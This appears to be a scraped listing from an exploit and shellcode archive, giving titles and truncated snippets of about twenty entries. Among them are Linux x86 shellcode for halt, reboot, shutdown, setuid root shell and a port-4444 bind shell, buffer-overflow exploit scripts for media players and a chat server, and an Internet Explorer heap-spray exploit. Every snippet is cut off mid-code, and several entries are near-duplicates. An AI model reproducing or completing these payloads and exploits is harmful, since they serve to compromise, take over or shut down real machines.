Live For Speed 2 Buffer Overflow

/ Live For Speed 2 Version Z .Mpr Local buffer Overflow Exploit !! X version .mpr header specifications can be found at http://www.lfs.net/?page=MPR Version :Patch Z and all previous versions. Vendor :http://www.lfs.net/ Release date: July 14th 2009 Patch for this vulnerability can be found here...

Linux/x86 Port Binding Shellcode (xor-encoded) 152 bytes

No description provided by source. / Author: Rick Email: [email protected] OS: Linux/x86 Description: Port Bind 4444 xor-encoded -------------------------------------------------------------------- section .text global start start: ;socket PFINET, SOCKSTREAM, 0 push byte 0x66 pop eax push byte...

Linux/x86 - execve(/sbin/halt,/sbin/halt) Shellcode (27 bytes)

Linux/x86 - execve/sbin/halt,/sbin/halt Shellcode 27 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x66\x68\x6c\x74" // pushw $0x746c "\x68\x6e\x2f\x68\x61" // push $0x61682f6e...

Linux/x86 - execve(/sbin/shutdown,/sbin/shutdown 0) Shellcode (36 bytes)

Linux/x86 - execve/sbin/shutdown,/sbin/shutdown 0 Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x64\x6f\x77\x6e" // push $0x6e776f64 "\x68\x73\x68\x75\x74" // push...

Linux/x86 - execve(/sbin/reboot,/sbin/reboot) Shellcode (28 bytes)

Linux/x86 - execve/sbin/reboot,/sbin/reboot Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x62\x6f\x6f\x74" // push $0x746f6f62 "\x68\x6e\x2f\x72\x65" // push $0x65722f6e...

Linux/x86 - Port Binding Shellcode xor-encoded 152 bytes

Linux/x86 Port Binding Shellcode xor-encoded 152 bytes. Shellcode exploit for linx86 platform / Author: Rick Email: [email protected] OS: Linux/x86 Description: Port Bind 4444 xor-encoded -------------------------------------------------------------------- section .text global start start:...

linux/x86 Port Binding Shellcode (xor-encoded) 152 bytes

Exploit for linux/x86 platform in category shellcode ======================================================== Linux/x86 Port Binding Shellcode xor-encoded 152 bytes ======================================================== / Author: Rick OS: Linux/x86 Description: Port Bind 4444 xor-encoded...

Internet Explorer 7 Overflow

!/usr/bin/env python MS Internet Explorer 7 DirectShow msvidctl.dll Heap Spray Advisory 972890 Written by SecureState R&D Team Authors: David Kennedy ReL1K, John Melvin Whipsmack, Steve Austin http://www.securestate.com win32bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind...

win32 xp-sp3 beep and exitprocess shellcode 28 bytes

No description provided by source. windows xp-sp3 beep and exitprocess shellcode this shellcode is using API call "Beep" which is in kernel32.dll adress of this API is 7C837A8Fh adress of exitprocess is 7C81CAFAh here is assembler code using Intel sintax and MASM32 --------------------...

Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit-vulnerability warning-the black bar safety net

The legendary rate is 6 0 per cent. Source: Xeye Microsoft DirectShow presence may be remotely exploitable stack overflow vulnerability. The key code is as follows: -------------------------The following contents are in danger, only for research use-------------- var appllaa='0'; var...

Linux/x86 - Disable Shadowing Shellcode (42 bytes)

Linux/x86 - Disable Shadowing Shellcode 42 bytes. Shellcode exploit for Linuxx86 platform include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER than push and pop! "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)

Linux/x86 - setuid0 + execve/bin/sh Shellcode 27 bytes. Shellcode exploit for Linuxx86 platform include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER tha push/pop "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov...

win32/xp sp3 beep and exitprocess shellcode 28 bytes

Exploit for win32 platform in category shellcode ==================================================== win32/xp sp3 beep and exitprocess shellcode 28 bytes ==================================================== windows xp-sp3 beep and exitprocess shellcode this shellcode is using API call "Beep" whi...

MP3-Nator 2.0 (plf File) Universal Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits ================================================================ MP3-Nator 2.0 plf File Universal Buffer Overflow Exploit SEH ================================================================ !/usr/bin/perl + Bug : Mp3-Nator 2.0 plf Universal...

Bopup Communications Server (3.2.26.5460) Remote BOF Exploit (SEH)

No description provided by source. !/usr/bin/python Usage : python bopup.py targetip | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Bug : Bopup Communications Server 3.2.26.5460 Remote BOF Exploit SEH Tested on : Xp sp3 ENVB Refer : mu-b Exploited by : His0k4 Greetings : All...

TFM MMPlayer 2.0 (m3u/ppl) Universal Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits ================================================================== TFM MMPlayer 2.0 m3u/ppl Universal Buffer Overflow Exploit SEH ================================================================== !/usr/bin/perl + Bug : TFM MMPlayer 2.0...

linux/x86 - reboot polymorphic shellcode 57 bytes

linux/x86 reboot polymorphic shellcode 57 bytes. Shellcode exploit for linx86 platform / Title : reboot polymorphic shellcode - 57 bytes Os: Linux x86 Author: Jonathan Salwan - submit AT shell-storm.org Web: http://www.shell-storm.org !! Database of shellcodes =...

HT-MP3Player 1.0 - .ht3 Universal Buffer Overflow (SEH)

HT-MP3Player 1.0 - .ht3 Universal Buffer Overflow SEH usage: exploit.py print "" print " HT-MP3Player 1.0 .ht3 Universal Buffer Overflow SEH\n" print " Original author: hack4love=my friend\n" print " Universal exploit : His0k4\n" print " Tested on: Windows XP Pro SP3 EN\n" print " greetz: All...

linux/x86 execve shellcode generator null byte free

linux/x86 execve shellcode generator null byte free. Shellcode exploit for generator platform / \ Shellcode Generator null byte free. Author: certaindeath Site: certaindeath.netii.net at the moment under construction This program generates a shellcode which uses the stack to store the command and...

linux/x86 execve shellcode generator null byte free

Exploit for generator platform in category shellcode =================================================== linux/x86 execve shellcode generator null byte free =================================================== / \ Shellcode Generator null byte free. Author: certaindeath This program generates a...